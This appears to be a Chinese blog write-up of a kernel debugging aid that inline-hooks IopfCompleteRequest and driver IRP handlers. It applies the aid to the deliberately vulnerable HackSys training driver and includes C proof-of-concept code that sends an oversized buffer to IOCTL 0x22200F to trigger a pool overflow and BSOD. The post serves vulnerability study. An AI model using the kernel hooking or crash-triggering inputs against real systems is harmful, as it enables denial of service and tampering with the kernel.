内核漏洞辅助分析工具
0x00 IopfCompleteRequest 函数hook
1.获取nt模块的加载基址,加上固定的rva,对IopfCompleteRequest函数的前5个字节opcode进
行inline hook
2.MyIopfCompleteRequest处理主要是判断IoControlCode是不是目标的IoControlCode,如果是的话则过滤需要的信息(目 标IoControlCode(g_IoCode),返回地址(retAddr),目标驱动的加载基址(BugSysBase),返回地址RVA(retAddr Rva))
0x01 IRP处理函数 hook
1.通过ring3层传进来的IRP处理函数rva,进行inline hook
2.MyIrpFun主要处理:设置了int3断点,方便调试; 过滤从ring3层传进来的buffer和size信息,在过滤函数中恢复回原来的指令,再执行回原本的IRP处 理函数.
2.1 在执行回原来的IRP处理函数之前,通过修改返回地址为挂钩函数的地址(retHookA),当原来的IRP处理函数处理完后,返回时将跳到retHookA函数重新挂钩
0x02 实战-HackSysTeam项目池溢出
1.漏洞分析时,一般都能获取到poc(这里我写了个poc,未溢出的;溢出产生BSOD后打印不了信息;实际分析时,可以改下poc代码,先确定IRP处理函数后)
int main()
{
DWORD retLen;
CHAR inputbuff[0x90] = { 0 };
DWORD intputLen;
HANDLE hDevice = CreateFileW(L"\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_ALL, 0, 0, OPEN_EXISTING, 0, 0);
if (hDevice == INVALID_HANDLE_VALUE)
{
return -1;
}
else
{
printf("Open ok\n");
}
//初始化数据
memset(inputbuff, 0x41, 0x90);
intputLen = sizeof(inputbuff);
DeviceIoControl(hDevice, 0x22200F, inputbuff, intputLen, 0, 0, &retLen, 0);
system("pause");
}
2.通过poc,可以知道IO控制码为22200F,通过监控目标控制码,寻找目标驱动的IRP处理函数.
把KernelBugTest.sys加载到内核中,KernelBugRing3.exe与驱动进行通讯
2.1 主要关注retAddr Rva打印出来的信息,这是通过ida 基址+rva锁定到目标驱动的IRP处理函数
3.触发BSOD的poc
int main()
{
DWORD retLen;
CHAR inputbuff[0x200] = { 0 };
DWORD intputLen;
HANDLE hDevice = CreateFileW(L"\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_ALL, 0, 0, OPEN_EXISTING, 0, 0);
if (hDevice == INVALID_HANDLE_VALUE)
{
return -1;
}
else
{
printf("Open ok\n");
}
//初始化数据
memset(inputbuff, 0x41, 0x200);
intputLen = sizeof(inputbuff);
DeviceIoControl(hDevice, 0x22200F, inputbuff, intputLen, 0, 0, &retLen, 0);
printf("BSOD!");
system("pause");
}
4.对IRP处理函数进行hook,运行崩溃的poc,将断到windbg中,这时单步调,跟着数据的流向还有结合ida的静态分析,很快知道分配的非分页内存大小为0x1f8,memcpy拷贝的size是从ring3层传进来的,最终导致池溢出
评论
发表评论